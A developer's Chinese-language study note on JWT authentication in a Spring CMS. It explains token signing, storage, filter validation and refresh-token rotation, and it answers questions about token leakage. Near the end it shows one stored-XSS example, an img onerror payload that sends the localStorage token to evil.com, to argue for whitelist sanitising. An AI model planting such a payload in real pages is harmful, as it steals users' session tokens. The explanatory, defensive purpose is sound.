cms项目细节-jwt

共 3,315 字 约 11 分钟

关于jwt

JWT 是一个用 . 连接的字符串,三段分别是 header.payload.signature:

header:{"alg":"HS256","typ":"JWT"},说明用什么算法签名。

payload:身份信息 claims。本项目里管理员 token 是:

JSON
UTF-8|8 Lines|
{
  "sub": "1",           // userId
  "ucode": "10001",     // 用户编码
  "username": "admin",
  "acode": "cn",        // 当前站点分区
  "iat": 1724000000,    // 签发时间
  "exp": 1724086400     // 过期时间,默认 24h
}

signature:HMAC-SHA256(base64url(header) + "." + base64url(payload), secret)。

重点:payload 只是 base64url 编码,不是加密,任何人解码都能看到;签名的作用是保证内容没被篡改。

怎么生成

登录成功时,JwtTokenProvider.createToken() 用 jjwt 生成:

plaintext
UTF-8|9 Lines|
Jwts.builder()
        .subject(String.valueOf(user.getId()))   // sub=1
        .claim("ucode", user.getUcode())
        .claim("username", user.getUsername())
        .claim("acode", user.getAcode())
        .issuedAt(now)
        .expiration(expiry)                       // now + 24h
        .signWith(key())                          // 用 app.jwt.secret 做 HS256 签名
        .compact();

密钥来自配置 app.jwt.secret,key() 把它按 UTF-8 转成 SecretKey。签名密钥是服务端唯一的秘密,前端只有 token 没有密钥,所以前端改不了 payload,改了验签就会失败。

怎么存

登录接口返回 {token, user},前端 login.html 存进 localStorage:

JavaScript
UTF-8|2 Lines|
localStorage.setItem('token', data.data.token);
localStorage.setItem('user', JSON.stringify(data.data.user));

之后 app.js 的 api() 每次请求自动加请求头:

JavaScript
UTF-8|1 Line|
headers.Authorization = 'Bearer ' + token();

UEditor 上传走 XMLHttpRequest,所以单独包装了 XMLHttpRequest.send,请求 /api/ueditor 时也会自动带 Authorization。

怎么被解析

每次请求先进 JwtAuthenticationFilter:

Java
UTF-8|6 Lines|
String header = request.getHeader("Authorization");
if (header != null && header.startsWith("Bearer ")) {
    Claims claims = tokenProvider.parse(header.substring(7));
    Integer userId = Integer.valueOf(claims.getSubject());
    ...
}

parse() 内部:

Java
UTF-8|5 Lines|
Jwts.parser()
        .verifyWith(key())        // 用同一个 secret 验签
        .build()
        .parseSignedClaims(token) // 校验 exp,解析出 Claims
        .getPayload();

如果 token 被篡改,验签抛异常;如果过期,exp 校验失败抛异常。过滤器捕获后清空 SecurityContext,请求继续走,最终被 Spring Security 返回 401。

解析出来什么,然后做什么

解析出来的是 Claims,关键字段:sub(userId)、ucode、username、acode、type(会员才有)、iat/exp。

但过滤器不会直接信任这些值,而是拿 userId 重新查数据库:

Java
UTF-8|11 Lines|
SysUser user = userMapper.selectById(userId);
if (user != null && "1".equals(user.getStatus())) {
    AdminUser adminUser = new AdminUser();
    adminUser.setId(user.getId());
    adminUser.setUcode(user.getUcode());
    adminUser.setUsername(user.getUsername());
    adminUser.setAcode(claims.get("acode", String.class)); // 站点分区来自 token
    adminUser.setLevels(loadLevels(user.getUcode()));      // 权限点重新查库
    SecurityContextHolder.getContext().setAuthentication(
            new UsernamePasswordAuthenticationToken(adminUser, null, adminUser.getAuthorities()));
}

一句话:token 负责证明你是谁,数据库负责确认你现在还能不能用、权限有没有变。这样用户被禁用或权限被改后,下一次请求立即生效。

Controller 怎么拿当前用户

后续代码不再解析 token,直接从 SecurityContext 取:

Java
UTF-8|3 Lines|
AdminUser user = SecurityUtils.currentUser();
user.getAcode();     // 按站点分区过滤数据
user.getUsername();  // 写审计字段
  1. 为什么 filter 里还查库:token 可能签发很久了,用户可能被禁用、权限可能被改,所以每次都加载最新状态。
  2. 为什么 JWT 无法主动踢人:服务端无状态,没有会话可删,只能等过期,或用黑名单/refresh token。
  3. 为什么密钥要够长:HS256 密钥太短容易被暴力破解,演示配置只是本地用,生产应放环境变量或密钥管理服务。
  4. 为什么用 localStorage:方便纯前端演示;生产更推荐 httpOnly cookie 或短 token + refresh token,降低 XSS 窃取风险。

短token+refresh token

把“登录凭证”拆成两个:

Token生命周期用途存放
access token15 分钟到 1 小时调业务接口前端内存变量(最好),别放 localStorage
refresh token7 到 30 天只用来换新 access tokenHttpOnly + Secure cookie,或服务端数据库/Redis

完整流程:

  1. 登录 → 返回 access token + refresh token
  2. 业务请求 → Authorization: Bearer access token
  3. access 过期 → 后端返回 401
  4. 前端收到 401 → 调 /api/auth/refresh,带 refresh token
  5. 服务端校验 refresh → 签发新 access token
  6. 前端用新 access 重放刚才失败的请求
  7. 登出/改密 → 服务端删掉 refresh token,登录态真正失效

为什么这样能解决“JWT 无法踢人”:

  • access token 仍然是无状态 JWT,但有效期短,泄露后的危害窗口小。
  • refresh token 变成可撤销凭证:服务端保存它,登出或改密时删除;下次刷新时发现已删就拒绝。等于把“踢人”能力从无状态 JWT 转移到了可撤销的 refresh token 上。
  • 更严格的做法是 refresh token rotation:每次刷新都发一个新 refresh 并作废旧 refresh。如果旧 refresh 被偷,攻击者只能用一次,服务端发现重放还能强制下线整个会话。

acess周期短,过期就refresh,这样泄露影响小且可控

access 泄露后的有效期内,攻击者照样能调用业务接口,只是窗口短。所以还要配合接口限流、异常登录检测,而不是只靠短周期。

安全重心在 refresh token:refresh 是长命凭证(7-30 天)。如果 refresh 也泄露,攻击者可以不停刷新出新的 access,等于长期有效。所以 refresh 必须放 HttpOnly cookie、服务端保存、支持撤销;如果 access 和 refresh 都放 localStorage,那整个方案等于白做。

更完整叫 refresh token rotation:每次刷新都发一个新的 refresh 并作废旧 refresh。就算攻击者偷到 refresh,也只能用一次,服务端发现旧 refresh 被重放还能强制下线整条会话

所以一句话:**“access 短周期 + 过期自动 refresh”压缩了泄露窗口,真正兜底的是 refresh 的安全存储、可撤销和旋转。**泄露 access 的影响被限制在几分钟内,refresh 才是需要重点保护的长期凭证。

我的疑问:token在发送请求的时候不是会在header里面吗,不是应该很容易泄露吗

解答:token 放 Header 本身不会让它“容易泄露”,真正的泄露点是别的。

分三层说:

1. 传输层面:HTTPS 已经加密整个请求

Authorization header 是请求的一部分,只要走 HTTPS,浏览器和服务器之间的数据是加密的,中间人抓包也只能看到 TLS 密文,看不到 header 里的 token。

所以“在 header 里”不等于“明文暴露”。真正危险的是走 HTTP 明文,那 cookie 也好、header 也好,都会被截获。这也是为什么生产环境必须强制 HTTPS。

2. 应用层面:第三方脚本默认碰不到你的 header

Authorization header 不是浏览器自动加的(不像 cookie 那样自动携带),而是你的 JS 代码在 fetch 时手动加的:

plaintext
UTF-8|1 Line|
fetch('/api/xxx', { headers: { Authorization: 'Bearer ' + token() } })

所以它只出现在“你的代码主动发出的请求”里。普通页面里的第三方脚本、广告脚本、恶意 iframe 都拿不到它。

3. 真正的泄露点是什么

  • XSS:如果页面被注入脚本,攻击者能执行 localStorage.getItem('token'),然后自己发一个请求到攻击者服务器,把 token 带走。这是 localStorage 方案最大的风险,而不是 header 本身。
  • 请求被发到了错误域名:如果你的代码里某个 URL 是拼接的、被注入或重定向到了恶意域名,token 会跟着请求头送到攻击者服务器。
  • 服务端/网关日志:如果 Nginx、网关、Spring 把整个请求头打进日志,token 会留在日志里,日志泄露就等于 token 泄露。所以生产环境要配置“不记录 Authorization header”。
  • token 放 URL:如果把 token 放 query 参数,会进浏览器历史、Referer、服务器访问日志,那才是真容易泄露。放 header 恰恰避免了这一点。

补充一个对比

Header 认证比 Cookie 认证在 CSRF 上更安全:

  • Cookie 是浏览器自动携带的,恶意网站可以用 <form> 诱导用户浏览器发跨站请求,cookie 会跟着去,形成 CSRF。
  • Authorization header 是跨站 JS 无法自己加的(受 CORS 预检限制),所以攻击者不能伪造带正确 header 的跨站请求。

所以结论是:

plaintext
UTF-8|2 Lines|
token 放 Header + HTTPS = 正常且安全
真正的风险 = HTTP 明文 / XSS 偷 localStorage / 请求发到恶意域名 / 网关日志记录 header

“token 在 Header 里不会因此泄露,因为 HTTPS 会加密整个请求;header 也不像 cookie 会自动携带,反而天然防 CSRF。真正要防的是 XSS 偷 token、错误域名、以及网关日志别记录 Authorization。”

XSS(Cross-Site Scripting,跨站脚本攻击)就是:攻击者想办法让你的网页执行他写的 JavaScript。因为代码是在你的域名、你的页面上下文里执行的,所以能读取这个页面能访问的数据,比如你的 token、cookie、用户信息,也能替你发请求。

富文本正文是典型的“存储型 XSS 高危入口”:管理员在 UEditor 里写内容,内容以 HTML 存库再渲染到前台。如果只做实体转义,攻击者存一段:

plaintext
UTF-8|1 Line|
<img src="x" onerror="fetch('https://evil.com/?t='+localStorage.getItem('token'))">

渲染时 onerror 就会被执行。所以正确做法是:富文本只放行白名单标签和属性,去掉事件属性,iframe 只允许可信域名。